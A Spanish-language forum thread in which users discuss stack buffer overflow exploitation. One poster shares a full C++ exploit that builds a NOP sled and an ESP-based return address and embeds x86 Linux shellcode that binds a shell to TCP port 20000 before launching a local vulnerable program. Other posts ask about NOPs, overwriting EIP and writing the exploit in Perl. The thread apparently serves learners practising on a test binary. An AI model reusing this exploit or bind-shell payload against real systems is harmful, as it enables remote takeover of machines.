Una cosa que hice yo para explotar el primer BoF (me encantó conseguirlo) es hacer que se printara la dirección de memoria en la que se guarda el primer carácter de la variable y esa es la dirección que puedes poner de retorno.
Lo hago con cout porque no se usar bien printf
Tendrías que ver con el debugger, el número exacto de carácteres que tienes que escribir para sobreescribir EIP (creo que seran 1036) , entonces la cadena que tendrás que pasarle al programa será algo así. (Imaginemos que la shellcode tiene 40 carácteres)
Supongo que ya sabrás como codear el exploit.
Suerte.

Este es el primer programa vulnerable que exploté :
Te da información (para que sea mas fácil de explotar) sobre la direcciones de las variables, la longitud etc...
Y esté es el exploit que programé :

#include <iostream>
#include <string.h>
#include <stdlib.h>
 
using namespace std;
 
unsigned long sp(void)         
{ __asm__("movl %esp, %eax");}
 
int main(int argc,char **argv)
{
int hastaret = atoi(argv[1]);
char shellcode[] =   "\x31\xdb" // xor    ebx, ebx
   "\xf7\xe3" // mul    ebx
   "\xb0\x66" // mov     al, 102
   "\x53" // push    ebx
   "\x43" // inc     ebx
   "\x53" // push    ebx
   "\x43" // inc     ebx
   "\x53" // push    ebx
   "\x89\xe1" // mov     ecx, esp
   "\x4b" // dec     ebx
   "\xcd\x80" // int     80h
   "\x89\xc7" // mov     edi, eax
   "\x52" // push    edx
   "\x66\x68\x4e\x20" // push    word 8270
   "\x43" // inc     ebx
   "\x66\x53" // push    bx
   "\x89\xe1" // mov     ecx, esp
   "\xb0\xef" // mov    al, 239
   "\xf6\xd0" // not    al
   "\x50" // push    eax
   "\x51" // push    ecx
   "\x57" // push    edi
   "\x89\xe1" // mov     ecx, esp
   "\xb0\x66" // mov     al, 102
   "\xcd\x80" // int     80h
   "\xb0\x66" // mov     al, 102
   "\x43" // inc    ebx
   "\x43" // inc    ebx
   "\xcd\x80" // int     80h
   "\x50" // push    eax
   "\x50" // push    eax
   "\x57" // push    edi
   "\x89\xe1" // mov    ecx, esp
   "\x43" // inc    ebx
   "\xb0\x66" // mov    al, 102
   "\xcd\x80" // int    80h
   "\x89\xd9" // mov    ecx, ebx
   "\x89\xc3" // mov     ebx, eax
   "\xb0\x3f" // mov     al, 63
   "\x49" // dec     ecx
   "\xcd\x80" // int     80h
   "\x41" // inc     ecx
   "\xe2\xf8" // loop    lp
   "\x51" // push    ecx
   "\x68\x6e\x2f\x73\x68" // push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69" // push    dword 69622f2fh
   "\x89\xe3" // mov     ebx, esp
   "\x51" // push    ecx
   "\x53" // push    ebx
   "\x89\xe1" // mov    ecx, esp
   "\xb0\xf4" // mov    al, 244
   "\xf6\xd0" // not    al
   "\xcd\x80"; // int     80h
char *nops = new char[hastaret-strlen(shellcode)-strlen("AAAA")];
for (int i=0;i<hastaret-strlen(shellcode)-strlen("AAAA");i++)
  nops[i] = '\x90';
nops[hastaret-strlen(shellcode)-strlen("AAAA")] = '\0';
char *evilinput = new char[hastaret];
long ret=sp(),*addrptr;
addrptr = (long * )evilinput;
for (int i=0;i<hastaret;i+=4)
{
 (*(addrptr++)) = ret;
}
strcat(evilinput,nops);
strcat(evilinput,shellcode);
//strcat(evilinput,"AAAA");
cout<<"/***************************************************/"<<endl;
cout<<"Usando "<<strlen(evilinput)<<" caracteres"<<endl;
cout<<"RET = 0x"<<hex<<ret<<endl;
cout<<"Usando "<<dec<<strlen(nops)<<" nops"<<endl;
cout<<"/****************************************************/"<<endl;
execl("./vuln","vuln", evilinput, 0);
 
delete nops, evilinput;
return 0;
}
 

Para que funcione tienes que llamar al programa vulnerable vuln y ponerlo en la misma ruta que el exploit, que te dirá cuantos nops usa, la dirección de retorno que usar...
Compilar y explotar :
Es posible que no te funcione por cambio de direcciones de memoria.
Te recomiendo que dejes mi exploit e intentes debuguear el vuln por ti mismo y crear tu exploit a la que creo que le tendrás que poner una dirección de retorno fija porque creo que no se puede sacar en perl.
Suerte , y , si tienes alguna duda pregunta.

La pila la sobreescribes inyectando mas carácteres que el número de carácteres  que  se reservó . Por ejemplo :
Si haces :

Sobreescribirá las posiciones de memoria adyacentes y quizás hasta sobreescriba EIP.Lo de generar NOPS no se lo que quieres decir.
Los nops son instrucciones para el procesador que lo que hacen es avanzar un ciclo sin hacer nada pero por lo menos son válidos para el procesador.
En c++ lo que se hace para brutear el offset es obtener la dirección de ESP que es la dirección de la parte superior de la pila, eso se hace con esta función :
Suerte

No, no hace falta, pero el debugger te lo facilita porque te da información de las direcciones , los registros ...

haber, me podais dar un ejemplo, con un code en perl, creo que se puede tomar la direccion ESP luego irle incrementando hasta que de la direccion de retorno, haber si me ilustras xD.

Bueno saliendo un poco del theme, hase tiempo tengo esta duda.

Se podria modificar la direccion esp, osea, esto me vino a la mente hase mucho ya que algunos exploit basados en vulnerabilidades de aplicaciones en este caso a Buffer overflow, tienen una direccion esp por defectos en sus exploit, u otros no tienen ninguna direccion de alguna memoria, ps me gustaria saber su funcionamiento.

Listo man, hay le espero y gracias por la información.